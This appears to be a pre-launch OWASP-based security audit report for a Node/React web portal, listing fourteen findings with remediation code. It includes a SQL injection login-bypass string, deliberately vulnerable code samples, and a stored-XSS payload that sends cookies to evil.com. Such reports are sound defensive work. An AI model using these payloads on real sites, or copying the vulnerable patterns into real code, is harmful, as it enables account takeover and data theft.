

WEB APPLICATION SECURITY AUDIT REPORT

Vulnerability Analysis & Secure Development Review

Application:	PortalX — Customer Web Portal
Technology Stack:	React / Node.js / PostgreSQL
Audit Type:	Pre-Launch Security Review
Framework:	OWASP Top 10 (2021)
Report Date:	March 2026

Analyst: Web Security Analyst | Division: Application Security

1. Executive Summary

This report presents the findings of a pre-launch security audit conducted on PortalX, a customer-facing web application featuring a login system, user dashboard, and multiple interactive forms. The audit was performed from a defensive security perspective using the OWASP Top 10 (2021) as the primary risk classification framework.

The assessment identified 14 vulnerabilities across 6 OWASP categories. Two critical vulnerabilities — SQL Injection in the login endpoint and Stored Cross-Site Scripting in the user profile dashboard — require immediate remediation before the application can be safely launched to the public.

1.1 Findings Summary

Severity	Count	Resolved	Outstanding	Immediate Action
Critical	2	0	2	Yes — block launch
High	4	0	4	Yes — fix within 1 week
Medium	5	0	5	Fix within 30 days
Low	3	1	2	Fix within 90 days

Overall Verdict: NOT READY FOR PUBLIC LAUNCH. Critical vulnerabilities must be remediated and re-tested before go-live approval.

2. Application Architecture Overview

2.1 Technology Stack

The following components were reviewed as part of this assessment:

Layer	Technology	Security Notes
Frontend	React 18 / TailwindCSS	Client-side rendering; DOM-based XSS risk if user data rendered unsanitized
Backend	Node.js / Express 4.x	No input validation middleware detected; raw SQL queries in auth routes
Database	PostgreSQL 14	Parameterized queries partially used; missing in critical endpoints
Authentication	Custom JWT implementation	Weak secret key; no refresh token rotation; missing expiry validation
File Storage	Local disk + AWS S3	Upload endpoint lacks MIME type validation and file size limits
Sessions	express-session	Insecure cookie flags; session not invalidated on logout

2.2 Data Flow Analysis

User input enters the application through three primary surfaces, each of which was analyzed for security controls:

Input Surface	Data Destination	Validation Present	Risk Finding
Login Form (email/password)	PostgreSQL auth query	None	SQL Injection — CRITICAL
Profile Edit Form	Database + rendered to DOM	None	Stored XSS — CRITICAL
File Upload (avatar)	Disk / S3 bucket	Extension only (bypassable)	Unrestricted Upload — HIGH
Search / Filter Fields	Database query	Partial	Reflected XSS — MEDIUM
Password Reset Form	Email + token store	Weak	Broken Auth — HIGH

3. Vulnerability Findings

VF-01 — SQL Injection (Critical)

Severity	CRITICAL
OWASP Category	A03:2021 — Injection
Location	POST /api/auth/login — email parameter
CVSS Score	9.8 (Critical)

Description

The login endpoint constructs SQL queries by directly concatenating user-supplied input without parameterization or escaping. An attacker can manipulate the query logic to bypass authentication, extract all user records, or drop database tables.

Vulnerable Code

```
// VULNERABLE — Direct string concatenation const query = "SELECT * FROM users  
WHERE email = '" + email + "'" AND password = '" + password + "'"; db.query(query);
```

Attack Demonstration

Entering the following as the email field authenticates as the first user without a password:

```
email: ' OR '1'='1' -- password: (anything) Resulting query: SELECT * FROM users  
WHERE email = ' OR '1'='1' --' AND password = '...'
```

Remediation

```
// SECURE — Parameterized query const query = 'SELECT * FROM users WHERE email =  
$1 AND password = $2'; db.query(query, [email, hashedPassword]);
```

- Always use parameterized queries or prepared statements
- Never interpolate user input directly into SQL strings
- Use an ORM (Sequelize, Prisma) which parameterizes by default
- Apply least-privilege DB accounts — the app user should not have DROP/ALTER permissions

VF-02 — Stored Cross-Site Scripting (Critical)

Severity	CRITICAL
OWASP Category	A03:2021 — Injection (XSS)
Location	User profile display name + bio fields
CVSS Score	9.3 (Critical)

Description

The application stores user-supplied profile data and renders it directly into the DOM without sanitization using React's `dangerouslySetInnerHTML`. Any user who saves a malicious script payload in their bio will have that script execute in the browser of every other user who views their profile — enabling session hijacking, credential theft, and account takeover.

Vulnerable Code

```
// VULNERABLE — Renders raw HTML from database <div dangerouslySetInnerHTML={{
__html: user.bio }} />
```

Attack Payload

```
Bio field input:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script> Effect:
Exfiltrates session cookies of every user viewing this profile
```

Remediation

```
// SECURE — Use text content, never dangerouslySetInnerHTML with user data
<div>{user.bio}</div> // If HTML formatting is required, sanitize first: import
DOMPurify from 'dompurify'; <div dangerouslySetInnerHTML={{ __html:
DOMPurify.sanitize(user.bio) }} />
```

- Never use `dangerouslySetInnerHTML` with unsanitized user content
- Use `DOMPurify` to sanitize any HTML that must be rendered
- Implement a strict Content-Security-Policy (CSP) header to block inline scripts
- Set `HttpOnly` flag on session cookies to prevent JavaScript access

VF-03 — Broken Authentication (High)

Severity	HIGH
OWASP Category	A07:2021 — Identification and Authentication Failures
Location	JWT implementation, password reset flow, session management
CVSS Score	8.1 (High)

Issues Identified

- JWT signed with weak hardcoded secret: secret123 — trivially brute-forced
- JWT expiry (exp claim) is present but not validated server-side
- Password reset tokens are not invalidated after use or after expiry
- No account lockout after repeated failed login attempts — brute-force possible
- Session cookie lacks Secure, HttpOnly, and SameSite=Strict flags
- Logout does not invalidate the server-side session token

Remediation

```
// Secure JWT config const token = jwt.sign(payload, process.env.JWT_SECRET, {  
  expiresIn: '15m',    algorithm: 'HS256' }); // JWT_SECRET must be 256-bit random  
key from environment variable // Always verify expiry jwt.verify(token,  
process.env.JWT_SECRET, { ignoreExpiration: false });
```

- Generate JWT secrets using cryptographically secure random (minimum 256-bit)
- Store secrets in environment variables, never in source code
- Implement refresh token rotation with short-lived access tokens
- Add rate limiting and account lockout (5 attempts → 15-minute lockout)
- Set cookie flags: Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

VF-04 — Unrestricted File Upload (High)

Severity	HIGH
OWASP Category	A04:2021 — Insecure Design / A08:2021 — Software and Data Integrity Failures
Location	POST /api/user/avatar — file upload endpoint
CVSS Score	7.5 (High)

Description

The avatar upload endpoint validates only the file extension client-side. An attacker can rename a PHP webshell to avatar.jpg and upload it. If the server executes the file, the attacker achieves Remote Code Execution (RCE), the most severe possible server-side outcome.

Remediation

- Validate file MIME type server-side by reading magic bytes, not just extension
- Use an allowlist of permitted MIME types: image/jpeg, image/png, image/webp only
- Re-encode all uploaded images through Sharp or Pillow — this strips embedded code
- Store uploads outside the web root or in an isolated S3 bucket with no execution permissions
- Enforce file size limits (e.g., 2MB maximum) to prevent denial-of-service
- Rename all uploaded files to a random UUID — never trust the original filename

VF-05 — Insecure Direct Object Reference / Broken Access Control (High)

Severity	HIGH
OWASP Category	A01:2021 — Broken Access Control
Location	GET /api/user/:id — user profile and data endpoints
CVSS Score	7.5 (High)

Description

API endpoints use sequential integer IDs to access user resources. Authenticated users can access any other user's data simply by incrementing the ID in the URL. There is no server-side verification that the requesting user owns the requested resource.

```
// Any logged-in user can access any other user's data: GET /api/user/1001/profile
→ returns User A's data GET /api/user/1002/profile → returns User B's data
(UNAUTHORIZED) GET /api/user/1003/documents → returns User C's private documents
```

Remediation

```
// Always authorize against the authenticated user's session
app.get('/api/user/:id/profile', authenticate, (req, res) => { // Reject if
  requested ID doesn't match authenticated user if (req.params.id !== req.user.id)
  { return res.status(403).json({ error: 'Forbidden' }); } // Proceed with
  authorized access });
```

- Implement server-side authorization checks on every resource access
- Use UUIDs instead of sequential integers for resource IDs

- Apply deny-by-default: reject any request not explicitly authorized
- Log all access control failures for monitoring

VF-06 — Missing Security Headers (Medium)

The application response headers are missing several critical security directives that provide defense-in-depth against XSS, clickjacking, and information leakage:

Header	Status	Impact / Recommended Value
Content-Security-Policy	MISSING	Prevents XSS; set script-src 'self' with nonce
X-Frame-Options	MISSING	Prevents clickjacking; set DENY
Strict-Transport-Security	MISSING	Forces HTTPS; set max-age=31536000; includeSubDomains
X-Content-Type-Options	MISSING	Prevents MIME sniffing; set nosniff
Referrer-Policy	MISSING	Limits referrer leakage; set strict-origin-when-cross-origin
Permissions-Policy	MISSING	Disable unused browser features; set camera=(), microphone=()
Server	PRESENT — leaks version	Remove or set to generic value

VF-07 — Sensitive Data Exposure (Medium)

- Passwords stored using MD5 hashing (no salt) — should use bcrypt/Argon2 with work factor ≥ 12
- API error responses leak stack traces, file paths, and database schema names in development mode (left enabled in staging)
- User PII (email addresses) logged in plaintext to application logs
- Password reset token transmitted in URL query parameter — logged in server and browser history

VF-08 — CSRF, Rate Limiting & Additional Findings (Low–Medium)

- No CSRF tokens on state-changing forms — susceptible to cross-site request forgery
- No rate limiting on login, registration, or password-reset endpoints — brute-force risk
- Dependency audit reveals 3 npm packages with known HIGH severity CVEs (axios, lodash, multer)
- HTTPS not enforced on all routes — some internal API calls permit HTTP
- DEBUG mode enabled in production config — verbose error output exposed

4. Risk Assessment & OWASP Mapping

All identified vulnerabilities are mapped to the OWASP Top 10 (2021) framework and assessed for business impact:

ID	Vulnerability	OWASP Category	Severity	CVSS	Business Impact
VF-01	SQL Injection	A03 — Injection	CRITICAL	9.8	Full DB compromise, auth bypass
VF-02	Stored XSS	A03 — Injection (XSS)		9.3	Session hijack, account takeover
VF-03	Broken Authentication	A07 — Auth Failures	HIGH	8.1	Unauthorized account access
VF-04	Unrestricted Upload	A04 — Insecure Design		7.5	Remote Code Execution on server
VF-05	Broken Access Control	A01 — Broken Access Control	HIGH	7.5	User data exposure (IDOR)
VF-06	Missing Security Headers	A05 — Security Misconfiguration		6.1	XSS amplification, clickjacking
VF-07	Sensitive Data Exposure	A02 — Cryptographic Failures	MEDIUM	6.5	Credential theft, PII leakage
VF-08	No CSRF Protection	A01 — Broken Access Control		5.4	Forced actions on behalf of users
VF-09	No Rate Limiting	A07 — Auth Failures	MEDIUM	5.3	Brute-force of credentials
VF-10	Vulnerable Dependencies	A06 — Vulnerable Components		5.9	Known CVE exploitation risk
VF-11	Weak Password Storage (MD5)	A02 — Cryptographic Failures	HIGH	7.2	Mass credential compromise
VF-12	HTTPS Not Enforced	A02 — Cryptographic Failures		5.4	MitM interception of traffic
VF-13	Error Info Disclosure	A05 — Security Misconfiguration	LOW	3.7	Stack trace aids attacker recon
VF-14	Debug Mode in Production	A05 — Security Misconfiguration		3.1	Exposes internal config data

5. Security Recommendations

5.1 Secure Coding Practices

Input Validation & Injection Prevention

- Treat all user input as untrusted — validate on the server regardless of client-side checks
- Use parameterized queries or ORMs for all database interactions
- Apply an allowlist approach: define what is valid and reject everything else
- Sanitize output using context-aware encoding (HTML, JavaScript, URL, CSS contexts differ)
- Use the validator.js library for consistent server-side validation

Authentication & Session Security

- Hash passwords using bcrypt (work factor 12+) or Argon2id — never MD5 or SHA-1
- Implement MFA (TOTP) as an optional but strongly encouraged setting
- Use short-lived JWT access tokens (15 minutes) with rotating refresh tokens
- Enforce account lockout: 5 failed attempts → 15-minute lockout with exponential backoff
- Invalidate all tokens and sessions on password change or logout

Access Control

- Apply deny-by-default — only grant access explicitly, never implicitly
- Check authorization on every API request, not just at login
- Use UUIDs for all resource identifiers to prevent enumeration attacks
- Implement role-based access control (RBAC) with clearly defined permission sets

5.2 Security Testing Methods

Testing Method	Tool(s)	What It Covers
Static Analysis (SAST)	ESLint-security, Semgrep, SonarQube	Detects SQL injection, XSS, hardcoded secrets in code
Dynamic Testing (DAST)	OWASP ZAP, Burp Suite Community	Crawls running app; finds injection, auth, header issues
Dependency Scanning	npm audit, Snyk, Dependabot	Identifies vulnerable third-party packages with CVEs
Penetration Testing	Manual + Burp Suite Pro	Deep logic flaws, business logic abuse, auth bypass
Secrets Scanning	GitLeaks, TruffleHog	Finds hardcoded API keys and passwords in git history

Container/Config Scan	Trivy, Checkov	IaC misconfigurations, Docker image vulnerabilities
-----------------------	----------------	---

5.3 Monitoring & Ongoing Security

- Integrate SAST into CI/CD pipeline — fail builds on HIGH+ severity findings
- Run npm audit / Snyk on every pull request and block merge on critical CVEs
- Implement application-level logging for: failed logins, access control violations, unusual data export volumes
- Deploy a Web Application Firewall (WAF) such as AWS WAF or Cloudflare to filter common attack patterns
- Schedule quarterly penetration tests and annual full security audits
- Subscribe to CVE feeds for all major dependencies (Node.js, PostgreSQL, Express)
- Implement a responsible disclosure policy / bug bounty program post-launch

6. Conclusion & Launch Readiness

PortalX contains two critical and four high-severity vulnerabilities that would expose users and the organization to significant risk if the application were launched in its current state. The SQL Injection vulnerability alone could result in complete database compromise, while the Stored XSS vulnerability creates a vector for mass account takeover.

Launch Gate Criteria: The application must resolve all Critical and High findings (VF-01 through VF-05, VF-11), pass a re-test, and receive sign-off from the security team before any public launch.

6.1 Remediation Priority Schedule

Priority	Finding(s)	Deadline	Owner
P1 — CRITICAL	VF-01: SQL Injection, VF-02: Stored XSS	Immediate — 48 hrs	Backend Dev Team
P2 — HIGH	VF-03: Auth Failures, VF-11: MD5 Passwords	Week 1	Backend / Auth Team
P2 — HIGH	VF-04: File Upload, VF-05: IDOR / Access Control	Week 1	Backend Dev Team
P3 — MEDIUM	VF-06: Security Headers, VF-08: CSRF, VF-09: Rate Limiting	Week 2–3	DevOps / Backend
P3 — MEDIUM	VF-07: Sensitive Exposure, VF-10: Dependencies, VF-12: HTTPS	Week 2–3	Full Stack Team
P4 — LOW	VF-13: Error Disclosure, VF-14: Debug Mode	Week 3–4	DevOps

Report Prepared by: Web Security Analyst (VIVEK RAJ), Application Security Division

Framework Reference: OWASP Top 10 2021 | CVSS v3.1 | NIST SP 800-115